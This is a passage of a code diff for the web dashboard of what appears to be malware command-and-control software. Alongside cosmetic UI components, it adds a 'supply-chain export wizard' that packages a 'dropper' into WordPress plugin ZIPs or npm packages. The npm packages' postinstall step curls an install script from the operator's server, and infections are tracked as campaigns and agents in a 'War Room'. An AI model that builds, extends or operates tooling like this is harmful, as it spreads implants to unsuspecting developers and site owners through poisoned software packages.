? 0.62 + Math.sin(Date.now() * 0.0022) * 0.38
|
||||
: 1;
|
||||
|
||||
const pts = particlesRef.current;
|
||||
if (!reducedMotion) {
|
||||
for (const p of pts) {
|
||||
@@ -126,7 +158,7 @@ export default function GlowParticles() {
|
||||
if (d2 < linkDistSq) {
|
||||
const t = 1 - Math.sqrt(d2) / linkDist;
|
||||
ctx.strokeStyle = pts[i].color.line;
|
||||
ctx.globalAlpha = t * 0.35;
|
||||
ctx.globalAlpha = t * linkAlpha * energyMod;
|
||||
ctx.lineWidth = 0.6;
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(pts[i].x, pts[i].y);
|
||||
@@ -138,7 +170,9 @@ export default function GlowParticles() {
|
||||
ctx.globalAlpha = 1;
|
||||
|
||||
for (const p of pts) {
|
||||
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
|
||||
const twinkle = reducedMotion
|
||||
? 0.75 * glowAlphaBase
|
||||
: (0.55 + Math.sin(p.pulse) * 0.25) * glowAlphaBase * energyMod;
|
||||
drawGlow(ctx, p, twinkle);
|
||||
}
|
||||
|
||||
@@ -151,15 +185,26 @@ export default function GlowParticles() {
|
||||
window.removeEventListener('resize', resize);
|
||||
cancelAnimationFrame(rafRef.current);
|
||||
};
|
||||
}, [glowParticles, isMobile]);
|
||||
}, [glowParticles, isMobile, weather, palette]);
|
||||
|
||||
if (!glowParticles) return null;
|
||||
|
||||
const sparkleCount = Math.max(
|
||||
4,
|
||||
Math.round((isMobile ? 6 : 10) * weather.density * (0.5 + weather.intensity * 0.5)),
|
||||
);
|
||||
|
||||
return (
|
||||
<>
|
||||
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
|
||||
<div className="ambient-css-sparkles" aria-hidden>
|
||||
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
|
||||
<canvas
|
||||
ref={canvasRef}
|
||||
className="ambient-glow-canvas"
|
||||
data-weather-vibe={weather.vibe}
|
||||
style={{ opacity: 0.35 + weather.intensity * 0.57 }}
|
||||
aria-hidden
|
||||
/>
|
||||
<div className="ambient-css-sparkles" data-weather-vibe={weather.vibe} aria-hidden>
|
||||
{Array.from({ length: sparkleCount }, (_, i) => (
|
||||
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
|
||||
))}
|
||||
</div>
|
||||
|
||||
135
server/web/src/components/DocsEntryCard.css
Normal file
135
server/web/src/components/DocsEntryCard.css
Normal file
@@ -0,0 +1,135 @@
|
||||
.docs-entry-card {
|
||||
position: relative;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.85rem;
|
||||
padding: 0.85rem 1rem;
|
||||
text-decoration: none;
|
||||
color: inherit;
|
||||
border-radius: 6px;
|
||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||
background: linear-gradient(135deg, rgba(6, 18, 24, 0.92) 0%, rgba(12, 8, 20, 0.88) 100%);
|
||||
overflow: hidden;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, transform 0.15s;
|
||||
}
|
||||
|
||||
.docs-entry-card:hover,
|
||||
.docs-entry-card:focus-visible {
|
||||
border-color: rgba(0, 232, 245, 0.7);
|
||||
box-shadow:
|
||||
0 0 24px rgba(0, 232, 245, 0.18),
|
||||
0 0 48px rgba(168, 62, 240, 0.08);
|
||||
transform: translateY(-1px);
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.docs-entry-card-glow {
|
||||
position: absolute;
|
||||
inset: -40%;
|
||||
background: radial-gradient(circle at 30% 50%, rgba(0, 232, 245, 0.14), transparent 55%);
|
||||
pointer-events: none;
|
||||
animation: docs-card-pulse 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes docs-card-pulse {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.55;
|
||||
}
|
||||
50% {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
.docs-entry-card-icon {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
flex-shrink: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 2.5rem;
|
||||
height: 2.5rem;
|
||||
border-radius: 6px;
|
||||
color: var(--neon-cyan);
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||
box-shadow: 0 0 16px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.docs-entry-card-icon svg {
|
||||
width: 1.35rem;
|
||||
height: 1.35rem;
|
||||
}
|
||||
|
||||
.docs-entry-card-body {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.15rem;
|
||||
min-width: 0;
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.docs-entry-card-title {
|
||||
font-size: 0.78rem;
|
||||
letter-spacing: 0.14em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan);
|
||||
text-shadow: 0 0 12px rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.docs-entry-card-blurb {
|
||||
font-size: 0.78rem;
|
||||
line-height: 1.35;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.docs-entry-card-arrow {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
flex-shrink: 0;
|
||||
font-size: 1.1rem;
|
||||
color: var(--neon-amber);
|
||||
transition: transform 0.15s, color 0.15s;
|
||||
}
|
||||
|
||||
.docs-entry-card:hover .docs-entry-card-arrow,
|
||||
.docs-entry-card:focus-visible .docs-entry-card-arrow {
|
||||
transform: translateX(3px);
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.docs-entry-card--featured {
|
||||
width: 100%;
|
||||
margin-top: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
}
|
||||
|
||||
.docs-entry-card--featured .docs-entry-card-icon {
|
||||
width: 2.75rem;
|
||||
height: 2.75rem;
|
||||
}
|
||||
|
||||
.docs-entry-card--featured .docs-entry-card-title {
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.docs-entry-card--compact {
|
||||
padding: 0.55rem 0.75rem;
|
||||
gap: 0.6rem;
|
||||
}
|
||||
|
||||
.docs-entry-card--compact .docs-entry-card-icon {
|
||||
width: 2rem;
|
||||
height: 2rem;
|
||||
}
|
||||
|
||||
.docs-entry-card--compact .docs-entry-card-blurb {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.docs-entry-card--compact .docs-entry-card-title {
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
42
server/web/src/components/DocsEntryCard.tsx
Normal file
42
server/web/src/components/DocsEntryCard.tsx
Normal file
@@ -0,0 +1,42 @@
|
||||
import './DocsEntryCard.css';
|
||||
|
||||
interface DocsEntryCardProps {
|
||||
/** compact = inline row; featured = login-page hero card */
|
||||
variant?: 'compact' | 'featured';
|
||||
className?: string;
|
||||
}
|
||||
|
||||
function DocsIcon() {
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" aria-hidden>
|
||||
<path d="M4 19.5A2.5 2.5 0 016.5 17H20" />
|
||||
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 014 19.5v-15A2.5 2.5 0 016.5 2z" />
|
||||
<path d="M8 7h8M8 11h8M8 15h5" strokeOpacity="0.65" />
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export default function DocsEntryCard({ variant = 'featured', className = '' }: DocsEntryCardProps) {
|
||||
return (
|
||||
<a
|
||||
href="/docs/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className={`docs-entry-card docs-entry-card--${variant}${className ? ` ${className}` : ''}`}
|
||||
>
|
||||
<span className="docs-entry-card-glow" aria-hidden />
|
||||
<span className="docs-entry-card-icon">
|
||||
<DocsIcon />
|
||||
</span>
|
||||
<span className="docs-entry-card-body">
|
||||
<strong className="docs-entry-card-title font-tech">Documentation</strong>
|
||||
<span className="docs-entry-card-blurb">
|
||||
Searchable wiki — Forge, Spread, Fleet, API & troubleshooting
|
||||
</span>
|
||||
</span>
|
||||
<span className="docs-entry-card-arrow" aria-hidden>
|
||||
→
|
||||
</span>
|
||||
</a>
|
||||
);
|
||||
}
|
||||
85
server/web/src/components/Emberwake/DeploymentReel.tsx
Normal file
85
server/web/src/components/Emberwake/DeploymentReel.tsx
Normal file
@@ -0,0 +1,85 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import {
|
||||
deploymentReelActiveIndex,
|
||||
deploymentReelSteps,
|
||||
deploymentReelStepStatus,
|
||||
deploymentReelTotalDurationMs,
|
||||
deploymentReelVisibleCount,
|
||||
type SupplyChainFamily,
|
||||
} from '../../help/supplyChainExport';
|
||||
|
||||
export interface DeploymentReelProps {
|
||||
family: SupplyChainFamily;
|
||||
/** When false, all steps render as completed (no animation). */
|
||||
animate?: boolean;
|
||||
onComplete?: () => void;
|
||||
}
|
||||
|
||||
export default function DeploymentReel({ family, animate = true, onComplete }: DeploymentReelProps) {
|
||||
const steps = useMemo(() => deploymentReelSteps(family), [family]);
|
||||
const totalMs = deploymentReelTotalDurationMs(steps.length);
|
||||
const [elapsedMs, setElapsedMs] = useState(animate ? 0 : totalMs);
|
||||
|
||||
useEffect(() => {
|
||||
if (!animate) {
|
||||
setElapsedMs(totalMs);
|
||||
return;
|
||||
}
|
||||
setElapsedMs(0);
|
||||
const start = performance.now();
|
||||
let frame = 0;
|
||||
const tick = (now: number) => {
|
||||
const next = now - start;
|
||||
setElapsedMs(next);
|
||||
if (next < totalMs) {
|
||||
frame = requestAnimationFrame(tick);
|
||||
} else {
|
||||
onComplete?.();
|
||||
}
|
||||
};
|
||||
frame = requestAnimationFrame(tick);
|
||||
return () => cancelAnimationFrame(frame);
|
||||
}, [animate, family, totalMs, onComplete]);
|
||||
|
||||
const visibleCount = deploymentReelVisibleCount(elapsedMs, steps.length);
|
||||
const activeIndex = deploymentReelActiveIndex(visibleCount, steps.length);
|
||||
const allDone = visibleCount >= steps.length;
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`supply-chain-deployment-reel${allDone ? ' supply-chain-deployment-reel--complete' : ''}`}
|
||||
role="status"
|
||||
aria-live="polite"
|
||||
aria-label="Deployment progress"
|
||||
>
|
||||
<p className="supply-chain-deployment-reel-title">Deployment reel</p>
|
||||
<ol className="supply-chain-deployment-reel-steps">
|
||||
{steps.map((step, i) => {
|
||||
const status = deploymentReelStepStatus(i, visibleCount);
|
||||
const label =
|
||||
step.href && status !== 'pending' ? (
|
||||
<a href={step.href} target={step.href.startsWith('/') ? undefined : '_blank'} rel="noreferrer">
|
||||
{step.label}
|
||||
</a>
|
||||
) : (
|
||||
step.label
|
||||
);
|
||||
return (
|
||||
<li
|
||||
key={step.id}
|
||||
className={`supply-chain-deployment-reel-step supply-chain-deployment-reel-step--${status}${
|
||||
i === activeIndex ? ' supply-chain-deployment-reel-step--animating' : ''
|
||||
}`}
|
||||
>
|
||||
<span className="supply-chain-deployment-reel-check" aria-hidden>
|
||||
{status === 'done' ? '✓' : status === 'active' ? '…' : ''}
|
||||
</span>
|
||||
<span className="supply-chain-deployment-reel-label">{label}</span>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ol>
|
||||
{allDone && <div className="supply-chain-deployment-reel-glow" aria-hidden />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
502
server/web/src/components/Emberwake/SupplyChainExportWizard.tsx
Normal file
502
server/web/src/components/Emberwake/SupplyChainExportWizard.tsx
Normal file
@@ -0,0 +1,502 @@
|
||||
import { useCallback, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
|
||||
import type { BuildRecord } from '../../types';
|
||||
import DeploymentReel from './DeploymentReel';
|
||||
import {
|
||||
hostingChecklist,
|
||||
hostingInstructions,
|
||||
npmInstallShUrl,
|
||||
npmPackageName,
|
||||
sanitizeExportSlug,
|
||||
SUPPLY_CHAIN_STEP_LABELS,
|
||||
SUPPLY_CHAIN_WIZARD_STEPS,
|
||||
supplyChainWikiUrl,
|
||||
supplyChainZipFilename,
|
||||
supplyChainHostingChecklistUrl,
|
||||
type SupplyChainFamily,
|
||||
type SupplyChainWizardStep,
|
||||
wizardStepStatus,
|
||||
wpCampaignSlug,
|
||||
wpDownloadUrl,
|
||||
} from '../../help/supplyChainExport';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export interface SupplyChainExportWizardProps {
|
||||
builds: BuildRecord[];
|
||||
serverBase: string;
|
||||
onServerBaseChange: (v: string) => void;
|
||||
pinA: string;
|
||||
onPinAChange: (v: string) => void;
|
||||
campaign: string;
|
||||
onCampaignChange: (v: string) => void;
|
||||
siteName: string;
|
||||
onSiteNameChange: (v: string) => void;
|
||||
}
|
||||
|
||||
export default function SupplyChainExportWizard({
|
||||
builds,
|
||||
serverBase,
|
||||
onServerBaseChange,
|
||||
pinA,
|
||||
onPinAChange,
|
||||
campaign,
|
||||
onCampaignChange,
|
||||
siteName,
|
||||
onSiteNameChange,
|
||||
}: SupplyChainExportWizardProps) {
|
||||
const [family, setFamily] = useState<SupplyChainFamily>('wordpress');
|
||||
const [step, setStep] = useState<SupplyChainWizardStep>('pick-build');
|
||||
const [wpExportBusy, setWpExportBusy] = useState(false);
|
||||
const [npmExportBusy, setNpmExportBusy] = useState(false);
|
||||
const [checklistOpen, setChecklistOpen] = useState(false);
|
||||
const [reelSession, setReelSession] = useState(false);
|
||||
const [checkedItems, setCheckedItems] = useState<Record<string, boolean>>({});
|
||||
useModalAmbientDuck(checklistOpen);
|
||||
|
||||
const openChecklist = useCallback((withReel: boolean) => {
|
||||
setReelSession(withReel);
|
||||
setChecklistOpen(true);
|
||||
if (withReel) setCheckedItems({});
|
||||
}, []);
|
||||
|
||||
const closeChecklist = useCallback(() => {
|
||||
setChecklistOpen(false);
|
||||
setReelSession(false);
|
||||
}, []);
|
||||
|
||||
const buildId = pinA.trim();
|
||||
const exportBusy = family === 'wordpress' ? wpExportBusy : npmExportBusy;
|
||||
|
||||
const preview = useMemo(() => {
|
||||
if (family === 'wordpress') {
|
||||
const slug = sanitizeExportSlug(siteName);
|
||||
return {
|
||||
artifact: wpDownloadUrl(serverBase, siteName, buildId),
|
||||
campaignTag: wpCampaignSlug(siteName),
|
||||
zipName: supplyChainZipFilename('wordpress', siteName),
|
||||
extra: `Plugin slug: ${slug}`,
|
||||
};
|
||||
}
|
||||
const camp = campaign.trim() || 'npm-helper';
|
||||
return {
|
||||
artifact: npmInstallShUrl(serverBase, camp, buildId),
|
||||
campaignTag: camp,
|
||||
zipName: supplyChainZipFilename('npm', camp),
|
||||
extra: `Package: ${npmPackageName(camp)}`,
|
||||
};
|
||||
}, [family, serverBase, siteName, campaign, buildId]);
|
||||
|
||||
const instructions = useMemo(
|
||||
() =>
|
||||
hostingInstructions(family, {
|
||||
serverUrl: serverBase,
|
||||
siteName,
|
||||
campaign: campaign.trim() || 'npm-helper',
|
||||
buildId,
|
||||
}),
|
||||
[family, serverBase, siteName, campaign, buildId],
|
||||
);
|
||||
|
||||
const checklist = useMemo(() => hostingChecklist(family), [family]);
|
||||
const wikiUrl = supplyChainWikiUrl(family);
|
||||
|
||||
const stepValid = useMemo(() => {
|
||||
if (step === 'pick-build') return true;
|
||||
if (step === 'configure') {
|
||||
if (!serverBase.trim()) return false;
|
||||
if (family === 'wordpress') return siteName.trim().length > 0;
|
||||
return true;
|
||||
}
|
||||
if (step === 'download') return serverBase.trim().length > 0;
|
||||
return true;
|
||||
}, [step, serverBase, family, siteName]);
|
||||
|
||||
const goNext = () => {
|
||||
const idx = SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
|
||||
if (idx < SUPPLY_CHAIN_WIZARD_STEPS.length - 1) {
|
||||
setStep(SUPPLY_CHAIN_WIZARD_STEPS[idx + 1]);
|
||||
}
|
||||
};
|
||||
|
||||
const goBack = () => {
|
||||
const idx = SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
|
||||
if (idx > 0) setStep(SUPPLY_CHAIN_WIZARD_STEPS[idx - 1]);
|
||||
};
|
||||
|
||||
const runExport = useCallback(async () => {
|
||||
if (family === 'wordpress') {
|
||||
setWpExportBusy(true);
|
||||
try {
|
||||
await api.exportWordPressPlugin({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
site_name: siteName,
|
||||
});
|
||||
openChecklist(true);
|
||||
setStep('host');
|
||||
} finally {
|
||||
setWpExportBusy(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
setNpmExportBusy(true);
|
||||
try {
|
||||
await api.exportNpmHelper({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
|
||||
campaign: campaign.trim() || 'npm-helper',
|
||||
});
|
||||
openChecklist(true);
|
||||
setStep('host');
|
||||
} finally {
|
||||
setNpmExportBusy(false);
|
||||
}
|
||||
}, [family, buildId, serverBase, campaign, siteName, openChecklist]);
|
||||
|
||||
const toggleCheck = (id: string) => {
|
||||
setCheckedItems((prev) => ({ ...prev, [id]: !prev[id] }));
|
||||
};
|
||||
|
||||
const allChecked = checklist.every((c) => checkedItems[c.id]);
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className="spread-section spread-section--violet supply-chain-wizard operator-deck-card operator-interactive">
|
||||
<div className="supply-chain-wizard-header">
|
||||
<h3>Supply-chain export wizard</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
WordPress plugin ZIP (<code>/get?c=wp-{'{site}'}</code>) or npm helper (postinstall curls{' '}
|
||||
<code>install.sh</code>).{' '}
|
||||
<a href={wikiUrl} target="_blank" rel="noreferrer">
|
||||
Wiki playbook §
|
||||
</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="supply-chain-family-tabs" role="tablist" aria-label="Export family">
|
||||
<button
|
||||
type="button"
|
||||
role="tab"
|
||||
aria-selected={family === 'wordpress'}
|
||||
className={`supply-chain-family-tab${family === 'wordpress' ? ' active' : ''}`}
|
||||
onClick={() => {
|
||||
setFamily('wordpress');
|
||||
setStep('pick-build');
|
||||
}}
|
||||
>
|
||||
WordPress plugin
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
role="tab"
|
||||
aria-selected={family === 'npm'}
|
||||
className={`supply-chain-family-tab${family === 'npm' ? ' active' : ''}`}
|
||||
onClick={() => {
|
||||
setFamily('npm');
|
||||
setStep('pick-build');
|
||||
}}
|
||||
>
|
||||
npm postinstall helper
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="forge-mission-steps supply-chain-step-rail" aria-label="Wizard progress">
|
||||
{SUPPLY_CHAIN_WIZARD_STEPS.map((s, i) => (
|
||||
<span key={s} className={`forge-mission-step ${wizardStepStatus(s, step)}`}>
|
||||
<span className="supply-chain-step-num">{i + 1}</span>
|
||||
{SUPPLY_CHAIN_STEP_LABELS[s]}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="supply-chain-step-panel">
|
||||
{step === 'pick-build' && (
|
||||
<>
|
||||
<p className="form-hint">Choose the pinned build embedded in the export artifact.</p>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="sc-build">Build (pin)</label>
|
||||
<select
|
||||
id="sc-build"
|
||||
className="input"
|
||||
value={pinA}
|
||||
onChange={(e) => onPinAChange(e.target.value)}
|
||||
>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>
|
||||
{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
{buildId ? (
|
||||
<p className="form-hint">
|
||||
Selected pin: <code>{buildId}</code>
|
||||
</p>
|
||||
) : (
|
||||
<p className="form-hint">No pin — dropper uses latest public build for this campaign.</p>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
|
||||
{step === 'configure' && (
|
||||
<>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="sc-server">Command deck URL</label>
|
||||
<input
|
||||
id="sc-server"
|
||||
className="input mono"
|
||||
value={serverBase}
|
||||
onChange={(e) => onServerBaseChange(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
{family === 'wordpress' ? (
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="sc-site">Site name (plugin slug)</label>
|
||||
<input
|
||||
id="sc-site"
|
||||
className="input mono"
|
||||
value={siteName}
|
||||
onChange={(e) => onSiteNameChange(e.target.value)}
|
||||
placeholder="my-blog"
|
||||
/>
|
||||
<p className="form-hint">
|
||||
Campaign auto-tag: <code>{wpCampaignSlug(siteName || 'my-blog')}</code>
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="sc-campaign">Campaign slug (?c=)</label>
|
||||
<input
|
||||
id="sc-campaign"
|
||||
className="input mono"
|
||||
value={campaign}
|
||||
onChange={(e) => onCampaignChange(e.target.value)}
|
||||
placeholder="ci-bootstrap"
|
||||
/>
|
||||
<p className="form-hint">
|
||||
Package name: <code>{npmPackageName(campaign || 'npm-helper')}</code>
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
<div className="supply-chain-preview">
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Live preview — {family === 'wordpress' ? 'plugin download URL' : 'postinstall target'}
|
||||
</p>
|
||||
<code className="mono supply-chain-preview-url">{preview.artifact}</code>
|
||||
<CopyChip text={preview.artifact} label="Copy URL" />
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
{step === 'download' && (
|
||||
<>
|
||||
<p className="form-hint">
|
||||
Downloads a customized ZIP from{' '}
|
||||
<code>templates/{family === 'wordpress' ? 'wordpress-plugin' : 'npm-helper-package'}/</code>
|
||||
with your server URL and campaign baked in.
|
||||
</p>
|
||||
<ul className="supply-chain-download-meta">
|
||||
<li>
|
||||
<strong>ZIP:</strong> <code>{preview.zipName}</code>
|
||||
</li>
|
||||
<li>
|
||||
<strong>Campaign:</strong> <code>{preview.campaignTag}</code>
|
||||
</li>
|
||||
<li>
|
||||
<strong>{family === 'wordpress' ? 'Get URL' : 'install.sh'}:</strong>{' '}
|
||||
<code className="mono" style={{ wordBreak: 'break-all' }}>
|
||||
{preview.artifact}
|
||||
</code>
|
||||
</li>
|
||||
<li>
|
||||
<strong>Detail:</strong> {preview.extra}
|
||||
</li>
|
||||
</ul>
|
||||
<div className="supply-chain-export-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={exportBusy || !serverBase.trim() || (family === 'wordpress' && !siteName.trim())}
|
||||
onClick={() => void runExport()}
|
||||
>
|
||||
{exportBusy
|
||||
? 'Zipping…'
|
||||
: family === 'wordpress'
|
||||
? 'Export WordPress Plugin ZIP'
|
||||
: 'Export npm package template ZIP'}
|
||||
</button>
|
||||
<a className="btn btn-outline btn-sm" href={wikiUrl} target="_blank" rel="noreferrer">
|
||||
Read wiki §
|
||||
</a>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
{step === 'host' && (
|
||||
<>
|
||||
<p className="form-hint">
|
||||
Copy hosting steps below. Full playbook:{' '}
|
||||
<a href={wikiUrl} target="_blank" rel="noreferrer">
|
||||
{family === 'wordpress' ? 'WordPress plugin supply chain' : 'npm postinstall helper'}
|
||||
</a>
|
||||
</p>
|
||||
{instructions.map((block) => (
|
||||
<div key={block.title} className="forge-mission-link-block">
|
||||
<p>{block.title}</p>
|
||||
<code>{block.body}</code>
|
||||
<CopyChip text={block.body} label={`Copy ${block.title}`} />
|
||||
</div>
|
||||
))}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => openChecklist(false)}
|
||||
>
|
||||
Open post-export checklist
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="supply-chain-wizard-nav">
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={step === 'pick-build'} onClick={goBack}>
|
||||
← Back
|
||||
</button>
|
||||
{step !== 'host' && step !== 'download' && (
|
||||
<button type="button" className="btn btn-primary btn-sm" disabled={!stepValid} onClick={goNext}>
|
||||
Next →
|
||||
</button>
|
||||
)}
|
||||
{step === 'download' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => setStep('host')}
|
||||
>
|
||||
Skip to hosting instructions
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="supply-chain-quick-export">
|
||||
<p className="form-hint" style={{ marginBottom: '0.35rem' }}>
|
||||
Quick export (same APIs — no wizard steps):
|
||||
</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={wpExportBusy || !serverBase || !siteName.trim()}
|
||||
onClick={() => void (async () => {
|
||||
setWpExportBusy(true);
|
||||
try {
|
||||
await api.exportWordPressPlugin({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
site_name: siteName,
|
||||
});
|
||||
setFamily('wordpress');
|
||||
openChecklist(true);
|
||||
} finally {
|
||||
setWpExportBusy(false);
|
||||
}
|
||||
})()}
|
||||
>
|
||||
{wpExportBusy ? 'Zipping…' : 'Export WordPress Plugin ZIP'}
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={npmExportBusy || !serverBase}
|
||||
onClick={() => void (async () => {
|
||||
setNpmExportBusy(true);
|
||||
try {
|
||||
await api.exportNpmHelper({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
|
||||
campaign: campaign.trim() || 'npm-helper',
|
||||
});
|
||||
setFamily('npm');
|
||||
openChecklist(true);
|
||||
} finally {
|
||||
setNpmExportBusy(false);
|
||||
}
|
||||
})()}
|
||||
>
|
||||
{npmExportBusy ? 'Zipping…' : 'Export npm package template ZIP'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{checklistOpen && (
|
||||
<div
|
||||
className="forge-mission-modal-backdrop"
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-labelledby="sc-checklist-title"
|
||||
onClick={closeChecklist}
|
||||
>
|
||||
<div className="forge-mission-modal supply-chain-checklist-modal" onClick={(e) => e.stopPropagation()}>
|
||||
{reelSession && <DeploymentReel family={family} animate />}
|
||||
<h3 id="sc-checklist-title">
|
||||
Post-export hosting checklist — {family === 'wordpress' ? 'WordPress' : 'npm'}
|
||||
</h3>
|
||||
<p className="form-hint">
|
||||
Complete these steps on infrastructure you operate.{' '}
|
||||
<a href={supplyChainHostingChecklistUrl(family)} target="_blank" rel="noreferrer">
|
||||
Wiki § hosting checklist
|
||||
</a>
|
||||
</p>
|
||||
<ul className="supply-chain-checklist">
|
||||
{checklist.map((item) => (
|
||||
<li key={item.id}>
|
||||
<label>
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={!!checkedItems[item.id]}
|
||||
onChange={() => toggleCheck(item.id)}
|
||||
/>
|
||||
{item.label}
|
||||
</label>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
{allChecked && (
|
||||
<p className="supply-chain-checklist-done" role="status">
|
||||
✓ All steps marked — campaign should appear in War Room after first hit.
|
||||
</p>
|
||||
)}
|
||||
<div className="supply-chain-checklist-actions">
|
||||
<CopyChip
|
||||
text={checklist.map((c) => `[ ] ${c.label}`).join('\n')}
|
||||
label="Copy checklist"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary btn-sm" onClick={closeChecklist}>
|
||||
Done
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -90,6 +90,11 @@ export default function AgentListItem({
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
{agent.campaign && (
|
||||
<span className="agent-tag-chip" title="Spread campaign (?c=)">
|
||||
c:{agent.campaign}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
|
||||
import { FLEET_GROUP_COLORS, normalizeGroupColor } from '../../help/fleetGroups';
|
||||
import './CreateGroupModal.css';
|
||||
|
||||
@@ -10,6 +11,7 @@ interface Props {
|
||||
}
|
||||
|
||||
export default function CreateGroupModal({ open, agentCount, onClose, onCreate }: Props) {
|
||||
useModalAmbientDuck(open);
|
||||
const [name, setName] = useState('');
|
||||
const [color, setColor] = useState<string>(FLEET_GROUP_COLORS[0]);
|
||||
|
||||
|
||||
158
server/web/src/components/Fleet/FleetHeatMiniMap.css
Normal file
158
server/web/src/components/Fleet/FleetHeatMiniMap.css
Normal file
@@ -0,0 +1,158 @@
|
||||
/* ── Fleet heat mini-map (Crucible sidebar) ─────────────────────────────── */
|
||||
|
||||
.fleet-heat-minimap {
|
||||
display: flex;
|
